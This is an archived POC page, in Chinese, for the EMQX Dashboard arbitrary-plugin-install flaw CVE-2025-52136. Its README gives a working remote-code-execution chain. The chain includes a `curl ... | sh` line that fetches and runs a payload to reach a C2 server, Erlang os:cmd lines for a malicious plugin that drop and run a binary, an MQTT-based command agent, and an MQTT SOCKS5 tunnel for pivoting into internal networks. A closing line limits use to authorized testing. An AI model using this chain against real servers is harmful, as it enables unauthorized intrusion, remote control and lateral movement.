POC详情: 41841597ed27517a44bf86164f49435b4c0f534e

来源
关联漏洞
标题: EMQX 代码问题漏洞 (CVE-2025-52136)
描述:EMQX是EMQX公司的一个MQTT消息服务器。 EMQX 5.8.6之前版本存在代码问题漏洞,该漏洞源于Dashboard界面允许安装任意插件,可能导致安全风险。
描述
EMQX控制台不出网利用
介绍
# CVE-2025-52136
```
https://github.com/ricardojoserf/emqx-RCE
原利用方式通过上传emqx插件,在插件模板的代码中添加Erlang os模块调用系统命令执行RCE
```
出网环境,环境默认存在curl,可以直接通过`curl http://xx.xx.xx.xx/1.sh | sh`上线C2

目标不出网时,由于EMQX本身即为MQTT消息服务器,因此可以直接配合插件上传,在EMQX服务器执行上传的可执行程序
使用EMQX做MQTT消息队列核心,部署的程序直接作为一个“系统命令代理”,订阅客户端发送的命令,再把执行结果发布回主题。

## 设计思路
```lua
       +-------------+
       |   客户端     |
       | 发送命令消息 |
       | 主题: rx/cmd|
       +------+-------+
              |
           MQTT Broker (EMQX)
              |
       +------+-------+
       |  命令代理程序 |
       |  订阅 rx/cmd |
       |  执行系统命令 |
       |  发布 tx/cmd |
       +--------------+
```
## 编译使用
```
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
```
随后利用原作者利用思路,`my_emqx_plugin.erl`添加三行
```
    os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
    os:cmd("chmod +x /tmp/mqtt_agent"),
    os:cmd("bash -c \"/tmp/mqtt_agent\""),
```
编译完插件后,利用任意压缩工具将mqtt_agent放到`my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\`目录即可

![tar.gz](https://github.com/f1r3K0/CVE-2025-52136/blob/main/png/ScreenShot1.png)

上传插件
![plugin](https://github.com/f1r3K0/CVE-2025-52136/blob/main/png/ScreenShot2.png)

随后在客户端将tx/cmd添加订阅,主题为rx/cmd,即可食用

![cmd](https://github.com/f1r3K0/CVE-2025-52136/blob/main/png/ScreenShot3.png)

## 代理隧道
同理,通过MQTT在 Client ↔ Agent 间可以开一个隧道,并把 TCP 数据双向透过 MQTT 转发给内网 Agent,再由 Agent 连接到内网目标主机即可实现利用内网穿透。

此方案存在一定缺陷:
1.MQTT 带宽与延迟
2.高并发连接

```
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid

go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go

```
使用方式类似上述rce过程,这里直接起用本地端口做socks5隧道转发流量
### Agent端注意
- Agent 必须兼容自定义的topic与控制消息(open/ack/close、data/c2a、data/a2c)
- Agent 订阅 tunnel/+/+/ctrl 与 tunnel/+/+/data/c2a
- Agent publish 到 tunnel/{session}/{connID}/data/a2c 以及 .../ctrl 的 ack

代理隧道自行编译食用

## 注意
该工具仅适用于在授权环境/测试环境进行使用,严禁非法利用
文件快照

[4.0K] /data/pocs/41841597ed27517a44bf86164f49435b4c0f534e ├── [1.0K] LICENSE ├── [4.0K] mqtt_agent │   ├── [1.8K] agent.go │   ├── [ 218] go.mod │   └── [ 672] go.sum ├── [4.0K] mqtt_tunnel │   ├── [3.6K] mqtt_tunnel_agent.go │   └── [4.9K] mqtt_tunnel_client.go ├── [4.0K] png │   ├── [ 22K] ScreenShot1.png │   ├── [ 61K] ScreenShot2.png │   └── [ 35K] ScreenShot3.png └── [2.9K] README.md 3 directories, 10 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。